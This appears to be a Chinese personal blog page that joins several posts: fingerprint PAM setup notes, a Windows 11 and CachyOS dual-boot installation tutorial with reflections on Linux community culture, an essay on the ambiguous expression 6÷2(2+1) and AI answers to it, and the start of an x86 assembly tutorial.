auth       sufficient    pam_fprintd.so

在 /etc/pam.d 目录下的其他文件中（如 kde 和 system-local-login），也可以配置使用指纹，只需要添加：

Terminal window

1
auth    sufficient    pam_unix.so try_first_pass likeauth nullok
2
auth    sufficient    pam_fprintd.so

这将先提示输入密码，然后在空白密码字段上按 Enter 将进行指纹认证。

Tip

以上配置同时支持密码和指纹认证。如果只允许指纹认证，只需要添加：

Terminal window

1
auth    sufficient    pam_fprintd.so

Warning

此设置对 su 和 sudo 是一个安全漏洞，因为它允许后台进程在不提示用户的情况下获取权限。参见：CVE-2024-37408

如果想同时提示指纹和密码输入，可以安装 pam-fprint-grosshack。要使用此软件包，请将以下行添加到所需文件的顶部：

Terminal window

1
auth    sufficient    pam_fprintd_grosshack.so
2
auth    sufficient    pam_unix.so try_first_pass nullok

创建指纹#

对于 KDE，安装 polkit-kde-agent 身份认证组件。

如果你更需要 GUI 界面，在 KDE 的“配置指纹身份验证”（系统设置 > 用户）中可以处理指纹。

如果你更喜欢命令行，在终端运行 fprintd-enroll 命令录入指纹。

默认认证右手食指。用右手食指在指纹传感器上“滑动”，直到提示成功。

创建的指纹数据存放在 var/lib/fprint/ 中。

可以使用 fprintd-verify 命令验证录入的指纹。

为所有手指录入指纹

Terminal window

1
$ fprintd-delete "$USER"
2
$ for finger in {left,right}thumb,{index,middle,ring,littlefinger}; do fprintd-enroll -f "$finger" "$USER"; done

Windows11+CachyOS双系统安装教程

Thu, 27 Mar 2025 23:15:15 GMT

过期警告

本文的许多信息可能显得过时，因为我没有及时地维护这篇文章。我现在也没有将 CachyOS 或者其他 Linux 发行版作为主力操作系统了。因此，依然建议你参考其他更新的文章以及官方 Wiki 和 Forum。社区参与者要比我更富有热情，并且掌握的信息比我更新、更完善。

官方的东西永远最优先！请对第三方的东西保持警惕，因为 TA 可能没有能力或者没有意愿为你兜底。

本文介绍我安装 CachyOS 双系统的过程，参考 CachyOS Wiki 和 Forum。

由于 CachyOS 基于 Arch Linux，因此我推荐你选择性参考 archlinux 简明指南和 Arch Linux 的 Wiki 与 Forums。

封面图中所用素材分别来自 Ishaan_P 的 Nyarch (MIT License) 和官方的 CachyOS-icons

Banner 图片来自 The KDE dragons，作者 Tyson Tan。

安装前准备#

CachyOS 系统需求

最小配置
- 3 GB 内存
- 30 GB 存储空间
- 稳定的网络连接（重要！）
推荐配置
- 8 GB 内存
- 50 GB 存储空间
- 至少支持 x86-64-v3 标准的 CPU
- 速度为 50+ Mbps 的网络连接
- 集成/独立显卡，包括 NVIDIA GPU (900+/-), AMD +GCN 1.0 和 Intel（HD Graphics 或更新系列集成显卡，Arc 系列独立显卡）

1. 准备 ISO 文件#

一般下载 Desktop 版本的 ISO。

可以从以下途径下载 ISO 文件：

对于身处中国大陆且没有科学上网手段的用户，可以访问国内高校的镜像站：

下载 ISO 文件后可以使用 SHA256 校验完整性。可以在下载处或 Downloads and Validation 处得到原始文件的 SHA256。

Warning

始终注意验证 ISO 的完整性，以避免在安装或创建可启动介质时出现任何不希望的问题。

2. 制作 USB 启动盘#

使用 Ventoy 制作。注意分区格式 MBR/GPT 均可，但镜像分区需要选择 exFAT 文件系统以兼容 Linux 系统。

Ventoy 安装好后，将 ISO 文件复制进 U 盘任意位置即可。

3. 系统设置#

必看！

本小节需要特别留意，否则可能会把你的两个系统都搞坏！

如果你想装其他发行版，这些设置也是必要的。

禁用 Windows BitLocker。

BitLocker 是一个硬盘加密机制，但对于一般用户基本无用，甚至会帮倒忙。我的机器已经关闭 BitLocker，并且网络上有大把的教程告诉你如何关闭，所以这里不再赘述。
关闭 Windows 的快速启动和休眠

这两个都算是暗雷。按关机键并不会让 Windows 真正关机，这样可能会给 Linux 的启动带来麻烦。
- 关闭流程：
  
  控制面板 > 电源选项 > 选择电源按钮的功能 > “更改当前不可用的设置” > 取消勾选“启用快速启动（推荐）”
关闭 BIOS 的安全启动 (Secure Boot)

安装时必须关闭安全启动，否则你的 Linux 和 Windows 都可能会出问题（如 Ventoy 无法启动，Windows PIN 失效）。如果你还需要它，可以在安装结束后，遵循 Secure Boot Setup 的说明重新开启。具体机型的关闭流程请参阅厂商说明。
- 关闭流程：
  
  （公版蓝白 TUI 界面 BIOS，Lenovo XiaoXinAir-14IML 2019）重启按 F2（或 Fn+ F2）进入 BIOS，按 → 键转到 “Security”选项卡，按 ↓ 键选择 “Secure Boot”，按 “Enter”键后选择 “Disable”，然后转到 “Exit”选项卡，选择 “Exit Saving Changes”以保存设置。（图形化 BIOS，HP Gaming Laptop 16-ap0xxx）重启电脑，然后立即反复按 Esc 键，直到打开“开始”菜单，之后打开 OMEN Setup Utility。转到“引导选项”，关闭安全启动并清除金钥
关闭 BIOS 的 Intel RST (Rapid Storage Technology)

这个是最坑的！CachyOS Wiki 里完全没提到这一点，这还是我看论坛才知道的。另外，在 Ubuntu/Mint 的 Installer 中有明确的“禁用 RST”提示，但 CachyOS 连 Live¹ 环境都进不去……如果你是 AMD 的处理器的话自然是不用的。
- 关闭流程：
  
  在“系统配置”启用 Windows 的“安全引导”以避免蓝屏，然后进 BIOS 的 “Configuration”，进入 “Storage”选项，将“SATA Controller Mode”由“RST Mode”改为“AHCI Mode”（忽略红色纸老虎警告），然后重启将先前的“安全引导”关闭。
为 Linux 预留分区

选择“磁盘管理”或第三方分区工具，将拥有充足空间的盘压缩出一个合适的空间。压缩得到的新空间最好不要在 Windows 系统下分区。有硬盘 + 空闲硬盘位的的话最好直接把 Linux 装到新盘 :)

Caution
如果发现“可用压缩空间大小远小于理论可压缩的空间大小”，且提示“无法将卷压缩到任何不可移动的文件所在的点”，那么你可能需要其他技巧来压缩出所需空间。这一部分我没法教，因为我是把我的一个盘的数据都扬了才分出来的空间（悲，不过那个是游戏盘还好）。因此，请注意备份你的数据，并且不要使用存放重要数据的盘来压缩空间！

开始安装#

如果安装过程/结果有误

如果安装过程中出现意外错误或者安装结果不及预期，那么请重新启动 ISO 以免出现更大的错误。如果需要重装，请务必先移除 Linux 的分区，再重新分区。仅试图格式化已有分区后再添加挂载点容易出现错误。

1. 进入 Live OS 环境#

重启进入 BIOS，在 Boot 选项卡中将光标移到类似于 USB 一类的（反正不是 Windows Boot Manager），按 F5/F6 调整启动顺序，然后保存重启，系统会自动进入 Ventoy 的引导界面。

在该界面选择目标 ISO 文件（如 cachyos-desktop-linux-250330.iso）并选择 “Normal Mode”，进入 GNU GURB 界面，选择第一项即可。

2. 运行 Installer#

等待 Live OS 加载完成，连接网络。Live OS 使用的桌面系统为 KDE Plasma，界面和 Windows 相似，你也可以趁机看看 KDE 是否对你的胃口（比如我对 Gnome 系就有点八字不合 www）

在 Cachy Hello 程序里点击 Launch installer 即可开始安装。

Warning

CachyOS 基于 Arch Linux，需要网络来下载必要组件。官方已经不再提供离线安装方式。如果对网络没有信心，请安装 EndeavourOS 等提供离线安装方式的发行版。

目前，中科大、南大和南方科大已经提供了 CachyOS 的镜像服务，理论上中国大陆内访问不会出现太大问题。但由于官方测速脚本的问题，有时不会将这三个镜像站作为首选，依然选择使用国外镜像站导致安装慢/失败。如果你有此类问题，请尝试参考其他文章（如 CachyOS 安装）禁用镜像站测速脚本并手动配置。

3. 安装配置#

首先会弹出一个独立工具，要求选择引导管理器 (boot manager)。对于双系统，请选择 GRUB、rEFInd 或 Limine。其中 rEFInd 更为推荐，因此我选择 rEFInd 现在我更推荐 Limine，如果对兼容性有要求，可选 GRUB。

新的引导管理器

根据 CachyOS 的 2025 年三月发布版公告，现在已经添加了一个新的引导管理器 Limine。这个管理器属于后起之秀，非常年轻。与 GRUB 相比，Limine 更现代、更安全，是 GRUB 的替代品；与 rEFInd 相比，Limine 支持 Legacy BIOS。

语言、地区和时区以及键盘布局设置应该没有问题，CachyOS 也会自动识别中文环境并配置。

接下来是重要的分区设置。由于我们的需求是双系统，因此选择手动分区 (Manual partitioning)。即使你使用其他发行版，也尽量使用手动分区。自动分区是给那些有一块完全空白的、Linux 独占的硬盘的人准备的。

注意选择你当时预留的空间，可以通过大小判断。由于我没有给它分区，因此在这里显示的是“剩余区域”。

Caution

不要选错了！将 Windows 和 Linux 的文件混杂在一起可不是好主意，如果不幸选择的是格式化 (Formatting)，那么你在 Windows 的数据就无了！

根据 Wiki，我的分区应该是这样的：

efi 目录
- 大小: 512 MiB
- 文件系统: FAT32
- 挂载点: /boot/efi
- 标志: boot
根目录
- 大小: 至少 20000 MiB，这里我直接把剩余的预留空间全用了。
- 文件系统: 随意, 我使用 btrfs。请参考 Wiki 的 Filesystem
- 挂载点: /
- 标志：(留空)

关于 EFI

不需要设置 /boot，而应该设置 /boot/efi。大小可以缩水一点，至少 300 MiB，建议 500 MiB。这样 GRUB 就不会和 Windows 共享 EFI 分区。

我提及这个是因为我经历了数次 Linux 引导损坏。经排查认为可能是未关闭 Windows 的快速启动导致的。同时 Windows 可能会操作自己的 EFI 分区，导致 Linux 受到波及。

即使不是单硬盘双系统用户，我也不建议你设置单独的 /boot 目录。/boot 目录用于存放 Linux 内核等系统核心部件，如果不设置单独的 /boot 目录，那么会在根目录 / 下创建一个 /boot 目录。近年来 Linux 内核大小增加，如果设置单独的 /boot 目录，可能就会超过存储大小导致无法自动更新内核（例如 Fedora 会保留近期安装的 3 个内核和一个 Rescue 内核）

如果你仍然需要设置独立的 /boot 目录，那么建议将 /boot 目录的大小设置为 2048 MiB 及以上。

我需要设置 swap 交换分区吗？

答案是：不需要！

CachyOS 会自动设置合适的 zram 作为 swap 和临时文件分区，因此不需要手动设置 swap / zram。

现在的 CachyOS 不提供 swap 分区设置，请不要生搬硬套其他发行版的安装教程！

接下来选择你喜欢的桌面环境，Installer 里有演示，也可以参考 Wiki 的 Desktop Environments。我建议使用默认的 KDE Plasma，教程资源较多，本文开头提供的《archlinux 简明指南》也是用 KDE 演示系统美化的。

接下来是选择在安装系统时一并安装的软件包，随你决定。

关于桌面环境的说明

根据 Wiki，请不要安装除了你选定的桌面环境外的其他桌面环境包，混合使用桌面环境可能会导致系统异常。桌面环境本质上也就是由一系列软件包组成的，你很难阻止一个桌面环境使用一个软件，即使它和另一个桌面环境联系紧密。例如，Mako 是一个轻量级的 Wayland 通知守护进程，Sway / Hyprland 等 Wayland 窗口管理器需要它管理通知。但 KDE 也自带通知管理，Mako 会顶替掉 KDE 的通知。如果你不会配置的话……（Mako 只提供配置文件，没有 GUI 配置工具）

在系统安装阶段只能安装一个桌面环境，故建议先在虚拟机下尝试各个桌面环境。

Arch Linux 提供了自由选择初始桌面环境的权利，但也令我眼花缭乱。没有一个桌面环境是完美的，比如我第一次使用的 Xfce4 在缩放处理方面令我难以接受，而 KDE Plasma 6 一开始也让我满意，但也出现了一个挂件能让桌面出现难以解决的假死的情况。

如果你想更换桌面环境，重装系统是最干净的做法，但不是每个人都愿意并能够承受数据丢失和安装耗时的成本，而且这也是一种不负责的懒惰行为。

根据 Arch Linux Forums 的 [SOLVED] Change DE without format 和 [SOLVED] Changing Desktop Environment，如果需要完全更换桌面环境（以 Gnome 切换到 KDE 为例），请逐步执行以下命令：

Terminal window

1
pacman -Rncs gnome gnome-extra
2
pacman -Sc
3
pacman -Syu
4
pacman -S kde

这样 pacman（Arch 系提供的包管理器）会尽量清除 Gnome 本体的软件和配置文件，并安装 KDE

但 pacman 不会删除部分依赖于 Gnome 的软件和一些用户个性化配置。通常保留这些东西不会有害处，只是会占用存储空间，但如果出现问题，就需要精确地删除它们。

然后设置登录凭证，记住这里设置的密码，默认情况下这同样用作管理员密码，忘记了就凉凉了。

最后是安装摘要，如果你自认为这里列出的项目都符合你的目标，那么就开始安装吧。

过了一段时间后，安装结束，系统询问要不要立即重启，这里我们选择重启。

安装结果#

注意在电脑开机时请拔出 U 盘或调整启动顺序，将 rEFInd Boot Manager 设为第一启动项。

rEFInd 的原始引导界面如下：

觉得丑？我也觉得稍后可以更换主题的。这里我们选择小企鹅。

正常情况下，系统应直接进入图形桌面环境。如你未进入桌面环境，只看到命令行，请尝试重新安装。

Note

这里我遇到的两次卡在命令行的情形是

长时间卡在 Loadkmap: read short：有文章说这里需要输入管理员密码，但在我这里没有用。
直接进入 tty²：在安装时网络连接不稳定，导致 Installer 在安装软件包时判定无网络连接（当时你会看到 Installer “因错误配置”禁用了软件包选择），没有给你装上桌面环境等软件包。如果你想稍微挑战自己，可以尝试直接从 tty 安装所需的软件包，但我没有这样的勇气，因此选择重新安装系统。

好了，现在请愉快地开始 Linux 征程吧！

后记#

为什么安装 Linux

开源、免费、可定制，相对我现在的 Windows 环境历史包袱比较少。
为什么选择 CachyOS

最初是我在选择发行版时我看到有人推荐了这个基于 Arch Linux 的发行版。

我希望使用 Arch Linux，但又不想承担纯命令行下的较高配置难度和炸机风险，于是选择了它。

在此之前，我已经在虚拟机下使用过 Debian 和基于 Debian 的 Kali (WSL2)。我实在不想再用 Debian 系的 Linux 了。
为什么要装双系统，虚拟机不香吗

我之前不想装双系统，但前几天群里有讨论双系统的，说有条件干嘛不装，所以我就忽然想装一个了。

另外，我体感较好的 Linux 虚拟机只有 WSL，VMware 对于我的老轻薄本而言还是无法战胜。而且桌面环境下的 WSL 在我的机器上的性能也是依托，我只敢用命令行。
我是 Linux 糕手，能装 CachyOS 吗

可以，只要你遵守安装指导，那么就可以得到一个可用的 CachyOS。

但注意，CachyOS 是以 Arch Linux 为基底的，因此它的稳定性可能不如 Debian、Fedora 等非/半滚动发行版。并且 CachyOS 比较年轻（2022 年出现），在教程、资源等方面有所欠缺现在 CachyOS 已经比较火了，我相信各类资源会逐渐变得完善。但你需要花点心思在维护系统上（既然选择了 Arch Linux 乃至 Linux，这就是必经之路）。如果你实在没有信心，请选择 Debian、Ubuntu、Linux Mint、Fedora 等发行版

你可以参考 Arch Linux 的资源，但仅作 CachyOS 的补充。CachyOS 出现的任何问题都应优先在 CachyOS 的论坛或 Discord 上提出，社区的活跃用户会为你提供解答。即使你尝试前往 Arch Linux Forums，那里的用户也有可能将你引导前往 CachyOS 的社区求助。

来自 Arch Linux 的提示
Arch 社区或开发人员不支持基于 Arch 的发行版。请参考 Code-of-Conduct/#arch-linux-distribution-support-only

CachyOS 的社区
Social - CachyOS Wiki

不管是不是真的厌恶了 Windows，你在装 Linux 时仍然需要留一份 Windows 环境。十几年前曾有 Arch Linux 用户评论道“Linux 不能做的事情就是不需要做的事情”，但到现在我依然不敢说完全拥抱 Linux，甚至主力系统还用回了 Windows，在有些人看来可以说是“弃明投暗”了。理想是丰满的，现实是骨感的，也许就是那么一个专有软件，就可以刺破你享受 Linux 的梦境，而你也不敢说完全脱离这个软件。

我已经重装过多次各个 Linux 发行版，可以说各有各的大小问题。以及当我最后意识到我其实是在 Linux 发行版上复刻 Windows 桌面体验的时候，我最终抛弃了双系统，退回 Windows，使用虚拟机跑 Linux。

也许有人会说，用 Wine、QEMU 等兼容层/虚拟机在 Linux 上跑 Windows 啊。然而，Wine 在我（当时）的 CachyOS 上出现严重的字体问题，并且已有的解决方法均不起效；而当时我所用的 Lenovo XiaoXin Air 14 2019 基本跑不动图形界面的虚拟机。

Linux 社区是自由的、相对包容的。我相信社区中许多人都是友善的，特别是在技术交流层面；但也存在一些“传教士”，他们认为 Linux 是极客的、专业的、占据道德高地的，因而鄙视 Windows、鄙视专有软件。幸运的是，随着近年来 Linux 在日常使用方面做出的进步，越来越多的萌新用户认识了 Linux，后者的相对数量也在减少。

Note

“我算是明白一件事：中国互联网上比我使用桌面 Linux 更有经验的人太少了，所以胡扯蛋的多。 “这哪里是新手友好的系统啊各位。一个新手不可能有我这解决问题的能力……真是扯淡出来的新手友好。可能这么主张的人都真的是‘人在美国刚下飞机’的高华吧。 “不是喷，你显然连最基础的东西都没搞明白，不适合用 Manjaro 这种系统，我觉得 Ubuntu 也不太合适，去用 deepin 吧，或者 Windows。另外，你如果决心在 Linux 中坚持，首先习惯的就是开源社区的语言风格。祝好运。”——机智的解决arch/manjaro安装AUR软件时github下载软件包慢或不可获得的问题

开头就有某种精英主义的高傲。结尾为“新人”出头，下一刻在评论区就要求新手“习惯开源社区的语言风格”。有没有点熟悉的 PUA 风味？难道高贵的 Linux 用户、开源社区成员也沾染上了“大厂黑话”的风气吗？

假设数年后的今天还有人如此认为，那还是把 Linux 让给他们吧，我们普通人承担不起~

请注意，提问的智慧不仅给出了对提问者的建议，同样也给出了对回答者的建议。总之，你的回答可以有情绪，但不能都是情绪，需要包含有效的回答，特别是公开回答。不包含有效回答的回答对于其他新来者也是毒药——后者只能继续检索，或者期待评论区又有哪位大佬给出有效的回答。

比如前述的知乎专栏里的一条讨论链，我既没有从作者的口中直接获知“注意可执行权限”的提醒，也不能从 TA 那里知道提问者追问的 fake_axel_for_makepkg 到底是个什么东西。这就是个绝对不合格的回答。

有些人痛恨帮助吸血鬼 (Help Vampire)，但 Arch Linux 援引的 Help Vampires: A Spotter’s Guide 给出的解决计划中，也有很多策略要求回答者给出问题相关的回答。有些人只做到了直言“You’re a Help Vampire”，却也没有做到“believe they can be saved”，帮助对方以及后来者“改过自新”。

如果你认为问题常见或已知文档有写，至少给出文档 URL；如果没有现有的解决方案，向对方表达自己可能无法解决问题的遗憾，如果愿意的话也可以帮忙一起探索一下。

我们并不排斥那些“非自由软件”——在国内，离了 QQ、微信、飞书等“专有软件”可能连工作都难展开，而各位可能也没有办法让上下游都换用开源替代品。事实上，根据有些 Linux 用户的发言，你更应该使用 Windows 以节省你宝贵的时间，因为他们认为“既然搞不好，就说明没兴趣、没必要”。既然工作流不匹配，我们又何必热脸贴冷屁股呢？！

对技术的鄙视链保持一个和平的心态。这个博客曾经采用 Hexo，而 Hexo 已经被部分使用 Astro 等现代框架的开发者踩头；Neovim 的主要维护者 (Lead Maintainer) 公开鄙视 kickstart.nvim，甚至在帮助文档中唯一标记 kickstart.nvim 为“not recommended”；即使我也会透露出这种鄙视——你现在看的这一部分文字大抵也属于这一类型。因此，保持一个和平的心态：如果想迁移，那可以试着迁移过去；如果不想迁移，那就当放屁。

Windows 确实很烂，但各 Linux 发行版也不是什么好啃的东西。

“总而言之，要团结一切可以团结的人，这样，我们就可以把敌人缩小到最少。 “为了这个目的，我们党必须充分利用一切可以利用的力量。对于党内犯过错误的同志要有正确的政策，帮助他们，而不是把他们整死。批评并不等于一推了事。 “有人以为一到了社会主义社会，国家就十分美好，没有什么坏的东西了，这其实是一种迷信。” ——毛泽东《要团结一切可以团结的力量》，1956 年

Note

比如有一次我在滚 CachyOS 更新时，QT 先更新了，但其他依赖 QT 的软件包（其中包括 KDE 组件）没有跟进（同步源的问题？），结果更新完之后我的桌面环境全崩！我疯狂地在手机上搜索解决方案，切换到其他 TTY，阅读软件运行时在终端流下的报错信息，之后才在某个 GitHub 仓库的 Issue 里找到回答：“QT 更太急了，等一会再滚就好了。”——事实也确实如此。我可以想象部分新手用户面对这种情况是手足无措的。

Footnotes#

很多 Linux 发行版会提供引导用的 Live 版本系统。它可以运行在可移动存储介质上，实现图形化安装，也可以作为试用。 ↩
这里将 tty 视为虚拟终端。如果你的图形界面失效（比如 QT 过新导致 KDE 崩掉），tty 就是非常重要的补救手段。在Linux 中直接按 Ctrl + Alt + F1 到 F6 切换 tty ↩

滥用AI？先会用AI再来辩！

Sat, 22 Mar 2025 01:01:48 GMT

今天在微信公众号刷到一篇文章“过度使用 AI 的结果”。这篇文章展示了两个计算器对同一个式子

6÷2(2+1)6÷2(2+1)6÷2(2+1)

的运算结果：

卡西欧 fx-991ES PLUS 2th edition 的运算结果是 111，原生安卓的计算器的运算结果是 999。

接着文章作者就表示“比较幸运的是，我们还知道一点点简单算术，知道哪个结果是错的，哪个是对的”，抛出论点“过度使用 AI 有害”。

TA 的论点或许有理，但错误的证明过程却无疑令这个论点的可信度大打折扣。

因为这个式子本身的表达就是有争议的。

两种解读方式？#

我在卡西欧 fx-999CN CW 上复现的结果为 111。幸运的是，卡西欧为这款计算器配置了括号自动补全工具，而计算器反馈的补全结果为：

6÷(2(2+1))6÷(2(2+1))6÷(2(2+1))

该计算器说明书对此的解释是：

Quote

如果执行的计算同时包含除法和乘法运算，且运算中省略了乘号，则会自动插入括号，如下例所示：

如果省略左括号前面或右括号后面的乘号

示例：6÷2(1+2)=6÷(2(1+2))6÷2(1+2)=6÷(2(1+2))6÷2(1+2)=6÷(2(1+2))

之后我转向 Windows 上的计算工具，许多工具给出了 999 的回答（包括但不限于 Wolfram Mathematica 13.3、Maple 2023 等专业工具）。

但这些工具同样有补全。

Wolfram Mathematica 13.3：补全为 62(1+2)\frac{6}{2}(1+2)26(1+2)
Maple 2023：补全为 6÷2×(1+2)6÷2×(1+2)6÷2×(1+2)

可以发现这些计算工具采取了两种不同的解读方式。

这种猜测在我使用 Qalculate! 时得到了印证，因为这款工具在计算该式时弹出了一个窗口，大致意思是：这个式子是模糊的，请选择解析模式。

正好，“隐式乘法优先解析”模式解析为 6÷(2(2+1))6÷(2(2+1))6÷(2(2+1))，而“常规解析”模式则解析为 6÷2×(1+2)6÷2×(1+2)6÷2×(1+2)。

Qalculate! 的文档

Implicit Multiplication and Parsing Modes

另外，Microsoft Excel 会提示该式子“有拼写错误”，并建议更正为 6/2*(1+2)。

原来早已“炒”烂#

根据维基百科的介绍¹，早在 2011 年就有人在争论这个问题了。中科院物理所也在 2019 年发布了一篇翻译文章²介绍这一问题。甚至在 2024-2025 年仍有讨论文章³。

彼时大语言模型尚未发迹。那么这是数学不存在了，还是电子技术不存在了？

这不是过度使用 AI 的结果，这是不完美的表达式解析的结果，是数学语言表达不严谨的结果。紧要的不是质疑 AI，而是回顾义务教育。

所以我们怎么办？#

按现代数学的规定，999 这个答案其实更站上风：省略乘号的情况通常不改变运算顺序，仍然遵循从左到右的顺序。这也和多数人的观点相符。

如果得出的是 111，那么你可能是在使用 100 多年前的数学规定、从代数角度来解读或者是一个物理学家。有人认为这可能是因为线性的 a/bca/bca/bc 要比一般的 abc\frac{a}{bc}bca 更易于排版。

至于我？一开始会认为它是 999，但后面我会认为这个式子不可解，因为我的观念是在纯数字的四则运算中，运算符是不可省略的。

如果这只是出现在个人的运算过程中，那无伤大雅，因为 TA（应该）是对这类式子的真实含义知根知底的。

但这是询问他人，这是出题。除非是开放性问题或脑筋急转弯，否则我们还是避免歧义、老老实实写全运算符号吧。

Tip

“Because mathematical typesetting is much easier today, we almost never see ÷ as a symbol, and instead fractions are written with the numerator vertically above the denominator.”

——What Is 6÷2(1+2) = ? Mathematician Explains The Correct Answer

现在我们几乎从未看到除号作为符号，而是将分数写成分子垂直于分母。这也就是为什么一些计算工具在解析时会解析成 62(2+1)\frac{6}{2}(2+1)26(2+1) 的原因。

Note

这忽然让我想起了《提问的智慧》⁴中的一个小节：使用清晰、正确、精准且合乎语法的语句。

又联想起我在学习 C/C++ 以及汇编时看到的那句“不要让编译器/汇编器猜测你的意图”。这或许就是数学世界的“未定义行为”吧。

笑点解析：AI 大大方方用#

回到本文开头的那篇文章。我让 DeepSeek R1 解这个式子，以下是 D 指导的回答：

Quote

根据数学运算顺序规则（PEMDAS/BODMAS），解决步骤如下：

处理括号：先计算括号内的内容，即 2+1=32+1=32+1=3，原式变为 6÷2×36÷2×36÷2×3。
从左到右执行乘除：
- 先进行除法：6÷2=36÷2=36÷2=3
- 再执行乘法：3×3=93×3=93×3=9

因此，最终答案为： 999

关键点：省略乘号（如 2(3)2(3)2(3) ）并不改变运算优先级，仍需按从左到右顺序计算。为避免歧义，建议用括号明确优先级，如写成 (6÷2)(2+1)(6÷2)(2+1)(6÷2)(2+1) 或 6÷[2(2+1)]6÷[2(2+1)]6÷[2(2+1)]。

它的思考链条也明确指出这里有争议点：

Quote

不过，可能有人会有不同的理解，认为 2(3)2(3)2(3) 这里的写法意味着 222 和括号之间有一个隐含的乘法，但同时也可能有人认为这表示 222 是括号内内容的系数，应该优先计算。比如，可能有人认为 2(3)2(3)2(3) 应该被视为一个整体，先进行这个乘法，然后再进行除法运算。这样的话，算式就变成了 6÷[2×(3)]6÷[2×(3)]6÷[2×(3)]，也就是 6÷66÷66÷6，结果就是 111。

不过，这个问题确实存在一定的争议，因为不同的教材或地区可能会有不同的解释。例如，有些情况下，尤其是在代数表达式中，如 a/b(c+d)a/b(c+d)a/b(c+d)，可能会被解释为 a/[b(c+d)]a/[b(c+d)]a/[b(c+d)]，因为这里的 bbb 和括号之间的乘号被省略，可能被视为一个整体项。

为了验证这一点，可以查阅一些数学的标准资料或者使用计算器来测试。比如，在输入这个表达式时，不同的计算器可能会有不同的处理方式。有些计算器可能会将 2(3)2(3)2(3) 视为优先计算，从而得到 111，而另一些则按照严格的从左到右顺序得到 999。这说明这个表达式本身可能存在歧义，而解决这种歧义的方法通常是明确运算顺序，或者通过添加括号来消除歧义。

看了这些结果，你认为这篇文章的立论基础还牢固吗？作者本意可能是想宣传“AI 不可尽信”，但从上面对 DeepSeek 的询问中，你能看到 AI 的不可信之处吗？

我认为，至少 AI/LLM 在这个问题上的理解绝对要比原文作者更加深入和综合；至少在这个问题上，AI 绝对是用对了。

AI 不可滥用，但也别把 AI 当洪水猛兽。

附录#

Question

解决这个式子：

9−3÷13+19-3÷\frac{1}{3}+19−3÷31+1

本题来自 Viral problem from Japan - MindYourDecision，同样有符号混用的情况。

如果你得到的答案为 111，那么你应该是将 13\frac{1}{3}31 视为一个整体（乘除法的互换）来计算的。这也是为大多数人所接受的结果。

但也有人如此思考：13\frac{1}{3}31 相当于 1÷31÷31÷3，那我直接改写原式为 9−3÷1÷3+19-3÷1÷3+19−3÷1÷3+1，得到 999，不也行吗？

我们来看看其他“人”的结果：

卡西欧 fx-999CN CW：输入 9−3÷13+19-3÷\frac{1}{3}+19−3÷31+1，得到 111（无论是数学输入模式还是线性输入模式）；输入 9−3÷1÷3+19-3÷1÷3+19−3÷1÷3+1，得到 999
Qalculate!：仅解析为 9−(3/1)/1+19-(3/1)/1+19−(3/1)/1+1，得到 999。
DeepSeek R1：给出的答案为 111，理由是“通常， 3÷133÷\frac{1}{3}3÷31 会被理解为除以分数，等价于 3×3=93×3=93×3=9”。但也指出这里存在争议（按严格从左到右除法的话最终结果为 999），建议对分数加上括号。

还是 AI 给出的回答最为全面！

Footnotes#

x86 汇编语言详解-1

Sat, 15 Mar 2025 22:56:24 GMT

Background

正如 WikiBooks 里面写的“用汇编语言开发程序可能是一个非常耗时的过程”，汇编语言的编写难度比较大，因此我们更多是为了学会阅读它。MC笑传之常常崩！神秘崩溃牵扯出了计算机底层原理呈现了从汇编层面找到导致 JVM 出现 SIGNSEGV 的原因的过程。

本文主要参考 Assembly Language for X86 Processors 7th Edition，采用了《32位汇编语言程序设计第3版》的一些说明。 Microsoft 于 1992 年出版的 Programmer’s Guide 的有些表述我认为是比课本要清晰的，但它正处于 16 位向 32 位过渡的阶段，导致有些描述需要兼顾 16 位的系统，但对于 32 位系统是不必要的。这份老资料的一些叙述是比课本更好的，但仍然建议先通过课本掌握基础。

请注意我们仅在 32 位下讨论这些信息，因为在 16 位或 64 位汇编中有些东西是不一样的

课程提示

如果你是 FZU 的学生，那么上机期末考时请务必携带自己的电脑！

上机期末考的程序规模要比日常实验大，再加上老师的其他要求（如流程图），因此需要合理规划时间！

0. 汇编语言概述#

0.1 虚拟机理论#

计算机可以执行原生的机器语言，机器语言的每条指令都简单到可以用较简单的电路实现，我们称为语言 L0。但程序员不可能使用机器语言编程——想想你的数电——于是需要设计一种更简单的语言 L1。反过来，计算机无法直接执行 L1 语言。为了让计算机执行 L1 程序，就有了两种方法：编译和解释。

任何层编写的程序都可以被下一层编译或解释。所以你知道第一个 C 编译器是怎么来的吧。

抽象地看，每一层语言都可以对应地属于一层虚拟机 (Virtual Machine)。此处定义虚拟机是一个硬件或软件构成，用于模拟其他物理机器或虚拟机的功能。虚拟机可以直接执行当前层语言程序（物理构成），或者将当前层语言程序编译/解释到下一层虚拟机执行（软件构成）。每层虚拟机之间不能有太大差异，否则编译/解释的成本就高了。如果这一层虚拟机的编码复杂度还是过高，可以再构建一层虚拟机，形成更友好的语言，直到某一层虚拟机的编码复杂度可接受为止。

（此处瞎写的）脉冲序列 -> 11100110 -> E6 -> open -> 激活，从脉冲序列到自然语言，编码的复杂程度在下降。

现代计算机就是由一层层虚拟机构成的。分为四层：数字逻辑硬件 (Level 1)、指令集架构 (ISA, Level 2)、汇编语言 (Level 3)、高级语言 (Level 4)。我们所说的机器语言处于第二层。

输入输出系统也有类似于虚拟机的分层设计：硬件 (Level 0)、BIOS (Basic Input-Output System, Level 1)、操作系统函数 (Level 2) 和应用库函数 (Level 3)。

0.2 汇编程序构建流程#

Level 3 的汇编程序无法由 Level 1 的物理机器直接执行，因此我们需要将汇编向 Level 2 的机器语言转化，之后交由 CPU 向 Level 1 转化。

将汇编语句转化为机器语言的程序称为汇编器 (assembler)。输入汇编器的文件称为源文件 (source file)。汇编器将生成两个文件：目标文件 (object file) 和列表文件 (listing file)。目标文件保存了转化得到的机器指令和对应的汇编代码，列表文件提供的信息会更加详细，一般用于辅助分析调试。

生成的目标文件还需要经过链接器 (linker) 的处理才能生成可执行文件，这是因为较大规模程序往往会分割为多个模块，而每个模块的源文件都会生成对应的目标文件，所以需要将它们链接起来。

汇编

链接

系统装载

源文件

汇编器

目标文件

列表文件

链接器

链接库

可执行文件

输出

汇编

链接

系统装载

源文件

汇编器

目标文件

列表文件

链接器

链接库

可执行文件

输出

编译与构建

我们初学 C/C++ 时，会使用“编译”来描述将源代码转换成可执行文件的过程，这是不准确的。编译实际只负责整个过程中的语法检查和汇编代码生成，而目标文件到可执行文件还需要经过链接，故应该称为构建 (build)，实际上开发工具确实也叫成“构建”

0.3 x86 汇编概述#

